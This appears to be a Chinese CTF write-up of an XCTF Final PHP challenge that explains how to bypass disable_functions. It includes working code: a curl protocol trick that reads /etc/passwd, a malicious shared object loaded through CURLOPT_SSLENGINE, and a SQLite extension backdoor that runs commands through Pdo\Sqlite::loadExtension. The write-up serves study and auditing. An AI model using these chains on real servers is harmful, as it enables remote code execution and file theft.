WebShell 免杀篇讲过”拿到 webshell 不等于拿到 shell”——disable_functions 把 system/exec 全禁了怎么办。这篇是 XCTF Final 一道 PHP 真题的复盘(环境 PHP 8.5.0RC3),两条利用链都很新,而且把 disable_functions 的原理边界讲透了。
0x01 原理先修:disable_functions 到底防什么
一句话:它只禁止 PHP 语言层面的内建函数调用,管不到进程空间里 C 层面的行为。所以绕过的通用思路从来不是”恢复被禁的函数”,而是绕开 PHP 解释器,直接在 C/libc 层执行 system()——外部扩展加载(ld 任意 so)就是最典型的通道。
0x02 非预期解:curl 的两次”没修干净”
第一次绕过(PHP 8.3 时代):官方只 ban 了 curl 的 file:// 协议,但 CURLOPT_PROTOCOLS_STR 设为 "all" 能把所有协议重新打开——于是绕过 open_basedir 读任意文件:
$ch = curl_init("file:///etc/passwd");
curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");
curl_exec($ch);
官方的修复方式是把 all 也上 ban 位——修法只堵了”协议”这一个面。但 curl 加载动态链接库本来就能导致 RCE(HackerOne #3293801):CURLOPT_SSLENGINE 指向的 so 会被 dlopen 加载,so 的 __attribute__((constructor)) 函数在加载瞬间执行:
#include <stdlib.h>
__attribute__((constructor))
static void rce_init(void){ system("whoami"); }
// g++ -fPIC -shared -o evil.so 1.cpp
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSLENGINE, "/tmp/evil.so");
$data = curl_exec($ch); // 加载 so → constructor 执行 → RCE
这条链在 8.5 官方镜像上其实已打不通,但比赛环境能打通——版本与补丁的细节差就是 CTF 的题眼。
0x03 预期解:Pdo\Sqlite::loadExtension
预期解走 SQLite 扩展加载:
SQLite3::loadExtension()也能加载 so,但限制了加载目录,不是可控点;- 而 PHP 8.4+ 新增的
Pdo\Sqlite::loadExtension()文档里没写目录限制——可控。
利用分两步:
① 写一个”SQLite 扩展后门”。so 的入口函数必须叫 sqlite3_<名字>_init,加载时被调用。这里构造的是一条”读文件执行”后门(/tmp/1.txt 存在就读第一行 system 执行):
#include <sqlite3ext.h>
SQLITE_EXTENSION_INIT1;
int sqlite3_exploit_init(sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi) {
SQLITE_EXTENSION_INIT2(pApi);
FILE *f = fopen("/tmp/1.txt", "r");
char buf[512] = {0};
if (f && fgets(buf, sizeof(buf), f)) {
buf[strcspn(buf, "\r\n")] = 0;
if (strlen(buf) > 0) system(buf); // libc 层调用,disable_functions 无感
}
return SQLITE_OK;
}
// gcc -fPIC -shared -o /tmp/exploit.so backdoor.c
② 触发加载:把 so 路径传给 Pdo\Sqlite::loadExtension('/tmp/exploit.so') → C 层 system() 执行 → 命令结果落盘回读。
0x04 复盘三点
- disable_functions 的边界 = 解释器边界:所有”加载 so”类绕过(curl SSLENGINE、SQLite 扩展、ImageMagick/FFmpeg 外部库)本质相同——让 C 层替你调 system;
- 单点修复必然留缝:curl 先 ban file 协议、再 ban “all”,直到 SSLENGINE 被点名才真正堵住——审计 PHP 安全公告时要看”修复了哪个参数”,更要问”同类面还有几个”;
- 新特性 = 新攻击面:
Pdo\Sqlite::loadExtension是 8.4 新增 API,文档滞后于攻击研究——盯 changelog 比盯旧洞清单更有产出。
相关旧文
- PHP WebShell 免杀、无字母数字 RCE
- Windows 提权全景(拿到 shell 后的下一步)